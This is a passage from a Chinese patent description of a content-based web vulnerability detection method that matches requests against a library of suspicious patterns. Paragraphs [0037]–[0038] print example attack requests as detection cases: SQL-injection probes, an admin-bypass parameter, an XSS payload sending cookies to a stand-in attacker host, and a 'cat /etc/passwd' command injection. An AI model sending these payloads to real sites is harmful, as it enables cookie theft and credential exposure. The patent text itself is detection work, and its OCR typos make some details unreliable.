基于内容的漏洞检测方法及装置的制造方法_2

文档序号:9646749阅读:来源:国知局
漏洞样例的情况而言,程序需要将攻击结果与N个漏洞样例进行对比,这样的检测时间及资源开销也是巨大的。因此,与现有的检测漏洞时资源及时间开销较大的缺陷相比,本发明实施例只需要确定请求中的可疑规则以及返回的内容,当实际返回的内容与可疑请求预期的内容相匹配时,则确定存在漏洞。
[0033]为了更好的对上述图1所示的方法进行理解,作为对上述实施方式的细化和扩展,本发明实施例将针对图1中的步骤进行详细说明。
[0034]在实际情况下,漏洞的种类有多种,并且针对不同类型的漏洞发送的恶意请求的请求脚本规则也不同,其期望获取到的内容也不同。随着人们对漏洞越来越重视,对漏洞的认识及检测也越来越全面,因此,人们已经获取到大量不同类型的漏洞以及针对不同类型漏洞发送的恶意请求的请求脚本规则,这些已知的恶意请求脚本规则对人们预判一般请求是否可疑具有十分重要的参考价值。因此,本发明实施例在对发送给待检测目标的请求的可疑请求脚本规则进行分析时,可以利用本发明实施例提供的可疑请求库,在可疑请求库中查找其中是否具有所述发送给待检测目标的请求的可疑请求脚本规则,所述可疑请求库中记录有针对各种类型漏洞发送的恶意请求脚本规则,也就是判断向待检测目标发送请求的请求脚本规则是否存在于所述可疑请求库中,若存在则向待检测目标发送的请求为可疑请求。
[0035]当向待检测目标发送请求之后,就需要获取待检测目标针对所述请求返回的数据,若待检测目标具有漏洞,则待检测目标返回的数据应该与所述请求的可疑请求脚本规则所期望返回的数据类型一致。因此,为了初步确定待检测目标是否具有漏洞,本发明实施例需要判断待检测目标返回的数据是否符合所述可疑请求脚本规则要求返回的结果。
[0036]由于针对不同类型的漏洞所发送请求的请求脚本规则不同,并且针对不同脚本的请求的报错形式也不同。因此,在判断待检测目标返回的数据是否符合所述可疑请求脚本规则要求返回的结果的过程中,需要获取所述可疑请求脚本规则对应的脚本漏洞类型,然后根据所述脚本漏洞类型确定期望返回数据的格式,最后通过判断待检测目标返回的数据与期望返回数据的格式是否匹配来确定待检测目标是否具有漏洞。
[0037]例如,对于使用ASP脚本开发的目标而言,由于ASP脚本的方便易用,越来越多的网站后台程序都使用ASP脚本语言。而对于那些因为过滤字符不严的ASP页面而言,通过脚本对因过滤字符不严的ASP页面构造url,能猜测常用表名、字段名和用户、密码等。对于请求 http://ip/list.asp ? id = land 1 = 1 或 http://ip/list.asp ? id = land 1=0,如页面正常返回并且返回字符串列表时,则说明页面字符过滤不严,存在漏洞(数据查询漏洞)。或者,当请求中具有inc搜索对象时,说明可能有人利用搜索引擎对这些网页进行查找,得到有关inc文件的定位,并能在浏览器中查看到数据库地点和结构的细节,并以此揭示完整的源代码(文件读取漏洞)。或者,当请求中具有some.asp.bak搜索对象时,说明可能有人要下载some, asp的源程序。
[0038]例如,对于PHP脚本而言,其存在的漏洞主要包括命令注入、跨站脚本攻击、SQL注入,Sess1n会话劫持等。对于请求格式类似于http://www.xxx.0rg/exl.php ? is_admin=true的请求,说明可能有人希望绕过check_admin()的验证通过表单提交变量(命令执行漏洞)。或者对于 http://www.xxx.0rg/search, php ? key = <script>document.locat1n =,http://www.hack.com/getcookie.hph ? cookie =,+document.cookie ;</script〉的这类请求,说明有人希望获取用户的cookies值(XSS漏洞)。或者,对于提交的格式类似http://www.xxx.0rg/exl.php ? dir = cat/etc/passwd 的请求,说明可能有人希望获取密码信息。
[0039]当通过上述方式确定了可疑请求脚本规则期望返回的结果之后,就将待检测目标针对所述请求返回的数据与确定的可疑请求脚本规则期望返回的结果进行比对,若两者相符,则可以初步确定待检测目标具有漏洞,并且根据所述可疑请求脚本规则以及针对所述请求返回的数据的内容和格式,可以初步确定待检测目标具有的漏洞类型。如通过上所述的可疑请求脚本规则可以确定的漏洞类型就具有文件读取漏洞、数据查询漏洞、命令执行漏洞、XSS漏洞等。
[0040]通过上述方式初步确定待检测目标具有的漏洞后,为了进一步确保检测结果的准确性,本发明实施例在确定待检测目标具有漏洞之后,还可以将所述请求及其针对所述请求返回的数据在漏洞规则库中进行匹配;若所述请求及其针对所述请求返回的数据的格式与所述漏洞规则库中记录的某一类型漏洞的规则相匹配,则确定待检测目标存在所述某一类型的漏洞。
[0041]进一步的,作为对上述图1所示方法的实现,本发明实施例提供了一种基于内容的漏洞检测装置,如图2所示,该装置包括:分析单元21、获取单元22、判断单元23以及确定单元24,其中,
[0042]分析单元21,用于对发送给待检测目标的请求的可疑请求脚本规则进行分析;
[0043]获取单元22,用于获取待检测目标针对所述请求返回的数据;
[0044]判断单元23,用于判断所述数据是否符合所述可疑请求脚本规则要求返回的结果;
[0045]确定单元24,用于当判断结果为是时,确定待检测目标具有漏洞。
[0046]进一步的,分析单元21用于在可疑请求库中查找是否具有发送给待检测目标的请求的可疑请求脚本规则,所述可疑请求库中记录有针对各种类型漏洞发送的恶意请求脚本规则。
[0047]进一步的,如图3所示,判断单元23包括:
[0048]获取模块231,用于获取所述可疑请求脚本规则对应的脚本漏洞类型;
[0049]确定模块232,用于根据所述脚本漏洞类型确定期望返回数据的格式;
[0050]判断模块233,用于判断所述数据与确定的期望返回数据的格式是否匹配。
[0051]进一步的,确定单元24用于根据所述可疑请求脚本规则及针对所述请求返回的数据确定待检测目标具有的漏洞类型。
[0052]进一步的,如图3所示,所述装置还包括:
[0053]验证单元25,用于将所述请求及其针对所述请求返回的数据在漏洞规则库中进行匹配;
[0054]确定单元24用于当所述请求及其针对所述请求返回的数据的格式与所述漏洞规则库中记录的某一类型漏洞的规则相匹配时,确定待检测目标存在所述某一类型的漏洞。
[0055]本发明实施例提供的一种基于内容的漏洞检测装置,能够通过对发送给待检测目标的请求的可疑请求脚本规则进行分析,获取待检测目标针对所述请求返回的数据,并判断所述数据是否符合所述请求脚本规则要求返回的结果,若判断结果为是,则确定待检测目标具有漏洞。而在现有技术中进行漏洞检测时,需要使用漏洞检测模块进行注入点分析、模拟攻击行为以及获取攻击结果,整套流程比较复杂,并且每次对于注入点的查询都是要查询数据库来判断,而一旦数据库中的记录很多的话,对于持久化的数据的读写时间开销很大;此外,对于数据库中有N个漏洞样例的情况而言,程序需要将攻击结果与N个漏洞样例进行对比,这样的检测时间及资源开销也是巨大的。因此,与现有的检测漏洞时资源及时间开销较大的缺陷相比,本发明实施例只需要确定请求中的可疑规则以及返回的内容,当实际返回的内容与可疑请求预期的内容相匹配时,则确定存在漏洞。
[0056]此外,本发明实施例在初步确定待检测目标具有的漏洞后,进一步通过漏洞规则库将所述请求及其针对所述请求返回的数据进行匹配,作为对初步确定的漏洞的验证,从而确保漏洞检测结果的准确性。
当前第2页1 2 3 
网友询问留言 已有0条留言
  • 还没有人留言评论。精彩留言会获得点赞!
1